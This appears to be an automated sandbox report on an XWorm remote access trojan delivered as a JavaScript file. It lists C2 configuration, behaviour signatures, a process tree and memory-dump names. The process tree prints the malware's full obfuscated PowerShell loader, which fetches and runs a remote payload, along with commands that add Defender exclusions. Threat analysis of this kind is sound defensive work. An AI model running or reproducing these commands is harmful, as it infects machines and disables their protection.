Analysis
- max time kernel
148s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
30/09/2026, 08:25
General
- Target PO300926.js
- Size 33KB
- Sample260930-kbg2masbrd
- SHA256 ca9d3d85b31f567b771cd886ea7f5ff7b67953d1fe3083241a3f3de554f9b5ca
Malware Config
Extracted
-
xworm
-
5.0
-
102.220.160.146:5050
-
p7sMzY5ciavfaEoj
-
install_file
USB.exe
Signatures
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 1 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Enumerates connected drives 3 TTPs 3 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 10 IoCs
- Suspicious use of AdjustPrivilegeToken 46 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\PO300926.js1⤵
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command "1..1 | % { [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('KCgneDltcHJlZ3VzdGFudCA9IHZzM2h0dHBzOi8vcm91ZycrJ2gtdHJ1dGgtZTA3Mi5wdWJsaWNmJysndHByZXNlbmQud29ya2Vycy5kZXYvemlwb2lxdnMzOyAnKyd4OW12ZW50cmlsb3F1aXN0aWMgPSB2czNDOk9IMFVzZXJzT0gwUHVibGljT0gwRG93bmxvYWRzT0gwcGF5JysnbG9hZCcrJy50eHR2czM7IHg5bWNvbnNlcnZhdGl2ZWx5ID0gW2FjdGl2YXRvcl06OmNyZWF0ZUluc3RhbmNlKFtuZXQud2ViY2xpZW50XSk7IHg5bWNvbnNlJysncnZhdGl2ZWx5LkhlYWRlcnMuQWRkKHZzM1VzZXItQWdlbnR2czMsIHZzM01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbicrJzY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAnKycoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjAuMC4wLjAgU2FmYXJpLzUzNy4zNnZzMyk7IHg5bWNvbnNlcnZhdGl2ZScrJ2x5LkRvd25sb2FkRmlsZSh4OW1wcicrJ2VndXN0YW50LCB4OW0nKyd2ZW50cmknKydsb3F1aXN0aWMpOyB4OW0nKydmaXJlcGxhY2VzID0gKEdldC1Db250ZW50IHg5bXZlbnRyaWxvcXVpc3RpYyAtUmF3KTsnKycgeDltbG92ZXNpY2sgPSB4OW1maXJlcGxhY2VzLlJlcGxhY2UoVk5rKlZOayxWTmtBVk5rKTsgeDltUGFuJysndGFncnVlbGlhbiA9IFtjaGFyW11dJysnKCh4OW1sb3Zlc2ljay4nKydUb0NoYXJBJysncnJheSgpKScrJ1soeDltbG92ZXNpY2suTGUnKyduZ3RoLTEpLi4wXSk7IHg5bScrJ2FzdHJvbGFiZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC1qb2luIHg5bVBhJysnbnRhZ3J1ZWxpYW4pOyBbQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbi5Mb2FkKHg5bWFzdHJvbGFiZXMpIGU3RSBPdXQtTnVsbDsgW1dpbjMyLlJNUC5hYWFhYWFhXTo6YWFhYWFhYWFhYWEoVk5rb0xaZmhUeGpIVGptaUFteicrJ3dYY29Ca29oc1c0TDhqZCcrJ2hhSlp4VjMwQmtuYnhseTMrb3h3RFBpUUlYOHpvUzUyUGpoRitZZFI5RXhVdnBaREhkQmt4THdjWmZhMCs1d1BzakZscWxDZHowUUE9Vk5rLFZOa0pvWXJISEZzSkVIJysndycrJ0RDdnplaEI1Ris1NC9BJysnL1NNcFZ6JysnNmhrNlNla2R3MGc9JysnVk5rLFZOa0huVTVteHF4NkpwK1JGajNwdmxUVEhESzNwNGdQU3ZnWWtxJysnUUdZQkJaYWl4S1VUaVpWZkR4Uk1MMHlCS0k0YTZWTmssVk5rRFhOaU9YVmkvcE5FJysneXNGMlYwdWtIJysnWDh4MVJrUnhXJysna3p3bHQzcW1XeG82VT0nKydWTmssVk5rTzhEaGxQT2tCTW5hVXIzTWllTEpDM0w3VUNBaldsNHgnKyd4MElvMicrJyt5clEnKyc1UT1WTmssVk5rVk5rLFZOa3k1alpqbFplSTE4WlcnKycyNFRwVlo0Y2lIQnRibFJCc052ajVhVXM5RmpaVUU9Vk5rLFZOa3BVTjRyYmlJTExmY3hRYzh4aVJyZmhHbTVYRkVhK1V6RytZZmxudUEwRUU9Vk5rLFZOa3dWUnVaTEY1Skd1VjI2QmEnKydpbXdBZHFybk03WnhIOUN1eXcvanczbGRWSkUnKyc9Vk5rLFZOa2ErS3ROK0pZRnI4RFY3bnpaNTlTYjVQeE9oakNlVVVTSzRyUndKb214Rjk1bmMwSVphaGJvclp5VGEyZDNmNUVWJysnTmssVk5rVGtCNWtqcU1Qckp1bjJNSGVMbC9RcFErbXRjU0RIOEpCaVRtZEZncm9PQT1WTmssVk5rVk5rLFZOazl2WDJDaEdFcWlMN0RkMlE2d0Zkd05WTmJhQ3N2ZjA4Vll4VUZpK01GU0U9Vk5rLFZOazdOeTRWWDdlcnF0SHhUbnJNa0pqamptT1duS2EnKycwVnNHS1ZrT1hNdDA5WWc9Vk5rLFZOazJVTVlKNEpRM1UySGJpNEcnKycrSCcrJzlrcE1sUXpQekh5THNrcDgnKydYd1hoUXdSN2M9Vk5rLFZOa1ZtenQya2NVTzAnKycraFNFUXlZTUxnSTA3WCcrJ0ZPWnUnKydYS3QnKydHenBOdkdoU3FPcUk9Vk5rLFZOa1ZOayxWTmtWTmssVk5rVk5rKTsgUmUnKydtb3ZlLUl0ZW0gLVBhdCcrJ2ggeDltdmVudHJpbG8nKydxdWlzdGljIC1Gb3JjZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDbycrJ250aW51ZScpIC1jcmVwbEFjRSAgJ1ZOaycsW0NIQXJdMzkgIC1SRXBsQWNlICAoW0NIQXJdNzkrW0NIQXJdNzIrW0NIQXJdNDgpLFtDSEFyXTkyICAtUkVwbEFjZSAoW0NIQXJdMTE4K1tDSEFyXTExNStbQ0hBcl01MSksW0NIQXJdMzQtUkVwbEFjZSAnZTdFJyxbQ0hBcl0xMjQgLVJFcGxBY2UgJ3g5bScsW0NIQXJdMzYpIHxpZXg=')) } | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Caspol.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\conhost.execonhost.exe1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe2⤵
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_rik1kfse.3qq.psm1
memory/976-923-0x0000000000400000-0x0000000000410000-memory.dmp
memory/976-924-0x00000000052E0000-0x000000000537C000-memory.dmp
memory/976-956-0x0000000005DB0000-0x0000000005DBA000-memory.dmp
memory/976-955-0x0000000005DE0000-0x0000000005E72000-memory.dmp
memory/976-954-0x0000000006300000-0x00000000068BA000-memory.dmp
memory/1364-87-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-145-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-7-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp
memory/1364-8-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp
memory/1364-9-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp
memory/1364-10-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp
memory/1364-11-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp
memory/1364-12-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp
memory/1364-13-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp
memory/1364-14-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp
memory/1364-15-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp
memory/1364-16-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp
memory/1364-19-0x00000233FCE40000-0x00000233FCEAC000-memory.dmp
memory/1364-37-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-57-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-101-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-125-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-73-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-143-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-141-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-139-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-137-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-135-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-133-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-131-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-129-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-127-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-123-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-121-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-119-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-117-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-115-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-113-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-111-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-109-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-107-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-105-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-103-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-99-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-97-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-95-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-93-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-91-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-89-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-5-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp
memory/1364-918-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp
memory/1364-85-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-83-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-6-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp
memory/1364-0-0x00007FFF4518F000-0x00007FFF45190000-memory.dmp
memory/1364-79-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-71-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-69-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-67-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-65-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-63-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-61-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-59-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-56-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-81-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-77-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-53-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-51-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-49-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-47-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-45-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-41-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-39-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-34-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-32-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-27-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-25-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-43-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-23-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-35-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-29-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-21-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-20-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/1364-922-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp
memory/1364-3-0x00000233E4670000-0x00000233E4692000-memory.dmp
memory/1364-4-0x00007FFF45000000-0x00007FFF459A4000-memory.dmp
memory/1364-75-0x00000233FCE40000-0x00000233FCEA7000-memory.dmp
memory/2776-950-0x000000006FEE0000-0x000000006FF2C000-memory.dmp
memory/2968-935-0x0000000006820000-0x000000000686C000-memory.dmp
memory/2968-942-0x0000000008120000-0x000000000879C000-memory.dmp
memory/2968-934-0x0000000006770000-0x000000000678E000-memory.dmp
memory/2968-941-0x00000000079A0000-0x0000000007A43000-memory.dmp
memory/2968-936-0x0000000007950000-0x0000000007986000-memory.dmp
memory/2968-940-0x0000000006D50000-0x0000000006D70000-memory.dmp
memory/2968-927-0x0000000005990000-0x00000000059B2000-memory.dmp
memory/2968-929-0x00000000061F0000-0x0000000006256000-memory.dmp
memory/2968-937-0x000000006FEE0000-0x000000006FF2C000-memory.dmp
memory/2968-943-0x0000000007AE0000-0x0000000007AFA000-memory.dmp
memory/2968-944-0x0000000007B50000-0x0000000007B5A000-memory.dmp
memory/2968-928-0x0000000006180000-0x00000000061E6000-memory.dmp
memory/2968-926-0x0000000005B30000-0x000000000617A000-memory.dmp
memory/2968-925-0x0000000002F20000-0x0000000002F56000-memory.dmp
memory/2968-932-0x0000000006360000-0x00000000066BB000-memory.dmp
memory/2968-945-0x0000000007D50000-0x0000000007DE6000-memory.dmp